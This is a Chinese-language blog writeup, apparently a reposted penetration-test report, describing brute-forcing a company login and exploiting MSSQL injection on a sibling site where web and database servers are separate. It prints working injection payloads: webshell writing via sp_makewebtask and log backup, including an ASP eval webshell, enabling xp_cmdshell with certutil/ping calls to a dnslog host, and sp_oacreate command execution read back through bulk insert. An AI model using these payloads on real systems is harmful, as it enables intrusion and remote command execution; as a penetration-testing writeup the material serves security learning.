<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰 | 記一次無回顯不出網站庫分離的滲透測試

    VSole2022-06-07 21:12:21

    某日接到一個項目,只給了一個二維碼。

    1、數據管理系統

    掃描二維碼后在頁面下方得到該公司的名字,百度搜索該公司的名字,找到一個數據中心。

    訪問該頁面后發現存在用戶名遍歷,使用Burp爆破"常見用戶名Top500"得到三個賬號,并成功爆出其中一個賬號的密碼。

    登陸后發現大都是一些信息管理的功能,沒有發現可利用的點。

    可能是沒有管理員賬號,所以功能較少,這種后臺感覺拿到管理員賬號也有點懸,先看其他的。

    2、旁站

    2.1 登陸后臺

    在Fofa搜索該IP找到另一個站點,是該公司的其他系統。

    該頁面的賬號是自動填充,輸入密碼點擊登陸會報500。

    可能是密碼錯誤的返回頁面?一邊爆破密碼一遍測其他漏洞。

    在輸入登陸密碼的時候加入單引號,出現了SQL報錯,經過測試存在Sql注入。

    現在的思路是進入后臺測試是否可以Getshell、通過Sql注入進行Getshell。

    使用萬能密碼進入后臺,提示是游客權限,也沒有什么利用點,準備獲取管理員賬號密碼。

    得到登陸后臺賬號密碼后,輸入正確密碼也會報500,很奇怪。

    放下后臺Getshell的思路,嘗試Sql注入Getshell。

    2.2 Mssql注入Get WebShell

    經過簡單的信息收集,得到該系統的信息 mssql 2012 dbo權限 win6.2

    常見的Getshell方法有寫Webshell、通過擴展執行命令。打算先寫Webshell,以免開啟擴展執行命令過程中被殺軟攔截打草驚蛇。

    Mssql常用的寫Webshell方法"差異備份、Log備份、sp_makewebtask"等,寫webshell的之前可以先寫一個正常文件,來確認可以寫入。

    2.2.1 sp_makewebtask寫Shell

    權限:dbo、sa 且對寫入的路徑有寫權限

    條件:存在sp_makewebtask擴展

    大致思路是創建一個表,將十六進制的Webshell插入表中,使用sp_makewebtask導出表中的數據到指定文件。


    ';create table cmd (a image)--';insert into cmd(a) values(0x616263)-- #webshell的16進制';execute sp_makewebtask @outputfile='D:\test\1.txt','@query='select a from cmd'--';drop table cmd--
    

    在網上看到可以使用一條語句來完成,不過沒有測試,因為該服務器不存在sp_makewebtask擴展....


    exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("zz"))%>'' '
    

    2.2.2 Log備份

    在兩個備份Getshell方法中,先試Log備份。Log備份只備份操作日志,相對來說導出的文件較小。


    ;alter database 數據庫名稱 set RECOVERY FULL -- #將數據庫設置為完整模式,完整模式會記錄所有操作日志,支持備份日志。;create table cmd (a image) --;backup log db_name to disk = 'E:\test\test.aspx' with init -- #備份db_name數據庫的日志到指定文件頭部;insert into cmd (a) values ('hex_webshell')-- ;backup log 數據庫名稱 to disk = 'E:\test\test.aspx' --
    

    Sql報錯泄露了絕對路徑,省去找路徑的麻煩。語句執行過程中,一直提示找不到指定路徑。

    先嘗試往C盤寫文件,測試是否有寫入權限。執行完后沒報錯,說明寫進去了,不是權限問題。

    在這想了半天,突然想起來在信息收集的時候沒有測該站點是否為站庫分離!

    啊這.....

    @@servername > 0

    select host_name > 0

    先暫時放棄通過寫Webshell來Getshell了。如果數據庫在外網的話,它所在的服務器沒有搭建web服務,寫了也沒法訪問,訪問到了也不一定解析,何況數據庫的IP都沒有...

    2.3 執行命令

    2.3.1 判斷擴展是否存在

    使用擴展執行命令前一般先判斷該擴展是否存在,Bool型判斷語句在這不適用,無論返回的是True還是False都會報錯。

    執行為true

    把xp_cmdshell改成不存在擴展還是會報錯

    可能就是xp_cmdshell不存在,但在之后又嘗試了幾個擴展,都返回統一報錯頁面。

    可以使用時間盲注判斷。

    ';if(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')=1 waitfor delay '0:0:5'--
    

    如果有報錯回顯的話,也可以通過執行該擴展判斷。

    2.3.2 xp_cmdshell

    mssql中最常見的執行命令擴展,05版本以后默認關閉。

    之前已經判斷xp_cmdshell存在,將其開啟后先判斷該擴展是否可以正常執行命令。

    這里使用ping判斷該命令是否成功執行,但執行完會一直卡在那。dnslog也沒有回顯,之后又嘗試了http、dns協議也都沒有回顯。


    ;exec master..xp_cmdshell 'ping xxx.dnslog.cn';exec master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/';exec master..xp_cmdshell 'nslookup xxx.dnslog.cn'
    

    以前遇到過這種情況,是被殺軟攔截了,于是乎先pass。

    2.3.3 sp_oacreate

    使用sp_oacreate執行命令,缺點是沒有回顯。延續xp_cmdshell的思路,先通過測試是否出網來確定命令是否成功執行。測試完發現和xp_cmdshell的結果一樣,平臺都接收不到請求。

    這時我懷疑不是殺軟的問題,可能是數據庫服務器不出網?

    為了驗證該想法,改用另一種方式來判斷。思路是執行命令并將執行結果寫入本地文件,然后使用Bulk insert將命令回顯讀取到數據庫,最后通過Sql查詢就可以獲取到命令執行結果。

    執行命令保將執行結果寫入文件


    ;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami  > c:\\1.txt';
    

     

    將命令執行結果導入表

     

    create table testa(line text);bulk insert testa from 'c:\\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');--
    

    查詢表中內容(命令執行結果)

    and 1=(select top 1 * from 數據庫名..testa  FOR XML PATH(''))--
    

    最后進行痕跡清理,將該表、存儲執行命令回顯的文件刪除。

    整合這幾步操作

     

    通過讀取到的命令回顯,印證了之前的想法。

    2.3 遇到的問題

    2.3.1 無法進行大容量加載

    如果沒殺軟出現這種情況,可能因為命令還沒執行完,等等就好了。

    2.3.1 將被二進制截斷

    這個問題我也沒解決,百度得到的結果是字段長度問題,不過我改了沒成功。

    可以配合findstr過濾想要的內容

    3、后記

    后續測試xp_cmdshell其實也可以執行命令,不過也是沒回顯,思路和sp_oacreate一樣。

    做完這些一看時間已經下午四點了,回想起上一次看到今天早上的陽光,還是在今天早上。

    版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!

    命令模式滲透測試
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    域內橫向移動技術就是在復雜的內網攻擊中被廣泛使用的一種技術,尤其是在高級持續威脅中。攻擊者會利用該技術,以被攻陷的系統為跳板,訪問其他 域內主機,擴大資產范圍(包括跳板機器中的文檔和存儲的憑證,以及通過跳板機器連接的數據庫、域控制器或其他重要資產)。
    Nmap滲透測試指南
    2022-04-20 13:05:55
    nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG E:\ip\result3.txt -iL E:\ip\ip.txt
    Fpicker是一款基于Frida的模糊測試套件,可以幫助廣大研究人員以多種模式來進行滲透測試,例如AFL++模式或被動追蹤模式等。值得一提的是,該工具可以在所有支持Firda的系統平臺上運行。
    九種DC靶機滲透測試
    2023-01-07 11:14:37
    點擊上方藍字 關注安全知識DC-1靶機測試1.DC-1靶機安裝安裝進去后,修改網絡設置為nat模式2.靶機
    常見滲透測試靶場
    2022-05-12 06:47:27
    作為新手,通常第一個聽說的靶場應該就是DVWA,部署簡單安裝完對應版本的PAM(PHP-Apache-MySQL),簡單配置后就可以使用。 1、DVWA靶場可測試漏洞:暴力破解(Brute Force)、命令注入(Command Injection)、跨站請求偽造(CSRF)、文件包含(File Inclusion)、文件上傳(File Upload)、不安全的驗證碼(Insecure CAPT
    遠程桌面對了解內網滲透的人來說可能再熟悉不過了。在滲透測試中,拿下一臺主機后有時候會選擇開 3389 進遠程桌面查看一下對方主機內有無一些有價值的東西可以利用。但是遠程桌面的利用不僅如此,本節我們便來初步匯總一下遠程桌面在內網滲透中的各種利用姿勢。
    信息搜集先來看看目標站點的各種信息后端PHP,前端使用layui,路由URL規則看起來像ThinkPHP,那自然想到的是ThinkPHP那些年爆發的命令執行了,準備一把梭!然而,嘗試了一番,并沒有歷史漏洞。0x02 常見漏洞利用寶塔和FastAdmin,首先FastAdmin印證了是ThinkPHP的猜測,有寶塔可以嘗試利用寶塔的phpmyAdmin未授權訪問漏洞進行利用。另外由于各個站點之間沒有隔離,旁站的shell和目標站點的shell沒有差別,無需繼續,至此滲透結束。
    概述在學習SQL注入之前,我們應先了解什么是SQL?原理SQL注入就是當開發人員對用戶輸入數據的合法性沒有判斷或過濾不嚴時,攻擊者通過拼接惡意SQL語句誘使解釋器在未經適當授權的情況下執行意外命令或訪問數據。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类